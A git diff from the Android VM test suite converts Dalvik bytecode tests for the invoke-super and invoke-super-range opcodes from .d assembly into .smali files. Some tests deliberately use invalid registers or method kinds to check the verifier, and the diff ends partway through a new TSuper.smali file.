+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/T_invoke_super_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/T_invoke_super_27.smali
new file mode 100644
index 0000000..0f58599
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/T_invoke_super_27.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_27;
+.super Ljava/lang/Object;
+.source "T_invoke_super_27.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/ITestNonDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.d
deleted file mode 100644
index 350fdb8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_super.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_super.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestConflict.java
-.interface public dot.junit.opcodes.invoke_super.d.ITestConflict
-.implements dot.junit.opcodes.invoke_super.d.ITestDefault
-.implements dot.junit.opcodes.invoke_super.d.ITestDefault2
-
-.source T_invoke_super_28.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_28
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_super.d.ITestConflict
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-super {v0}, dot/junit/opcodes/invoke_super/d/ITestConflict/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestConflict.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestConflict.smali
new file mode 100644
index 0000000..5a986bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestConflict.smali
@@ -0,0 +1,21 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestConflict;
+.super Ljava/lang/Object;
+.source "ITestConflict.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault.smali
new file mode 100644
index 0000000..50fbc7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b94e6f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/T_invoke_super_28.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/T_invoke_super_28.smali
new file mode 100644
index 0000000..e561884
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/T_invoke_super_28.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_28;
+.super Ljava/lang/Object;
+.source "T_invoke_super_28.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestConflict;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/ITestConflict;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.d
deleted file mode 100644
index 3f80ff8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_4.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_4
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_4/toIntNative()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.smali
new file mode 100644
index 0000000..ce86aba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_4.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_4;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_4;->toIntNative()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.d
deleted file mode 100644
index af16744..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_5.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_5
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/TSuper/toIntStatic()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.smali
new file mode 100644
index 0000000..e89efd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_5.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_5;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper;->toIntStatic()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.d
deleted file mode 100644
index 94361b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_6.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_6
-.super dot/junit/opcodes/invoke_super/ATest
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/ATest/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/ATest/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.smali
new file mode 100644
index 0000000..b4a4aab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_6.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_6;
+.super  Ldot/junit/opcodes/invoke_super/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/ATest;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.d
deleted file mode 100644
index a62a1e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_7.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_7
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_7/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.smali
new file mode 100644
index 0000000..5ac73c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_7.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_7;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.d
deleted file mode 100644
index 48e9bdd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_8.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super {v6, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.smali
new file mode 100644
index 0000000..22ef2a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_8.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.d
deleted file mode 100644
index 79626b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_9.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super {v8, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.smali
new file mode 100644
index 0000000..542aaa2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_9.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super {v8, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.d
deleted file mode 100644
index ba9512e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TPlain.java
-.class public dot.junit.opcodes.invoke_super_range.d.TPlain
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.smali
new file mode 100644
index 0000000..00e0a1d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TPlain.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_super_range/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.d
deleted file mode 100644
index 88def8a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper.java
-.class public dot.junit.opcodes.invoke_super_range.d.TSuper
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
-    
-.method public toInt(F)I 
-.limit regs 3
-    float-to-int v0, v2
-    return v0
-.end method
-
-.method public native toIntNative()I    
-.end method
-    
-.method public static toIntStatic()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
-  
-.method protected toIntP()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method  
-
-.method private toIntPvt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method  
-    
-.method public testArgsOrder(II)I
-.limit regs 4
-    const v0, 349
-    const v1, 344656
-    div-int v2, v2, v3
-    return v2
-.end method   
-
-.method public testString(Ljava/lang/String;)V
-.limit regs 2
-    return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.smali
new file mode 100644
index 0000000..dece614
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super_range/d/TSuper.smali
@@ -0,0 +1,90 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
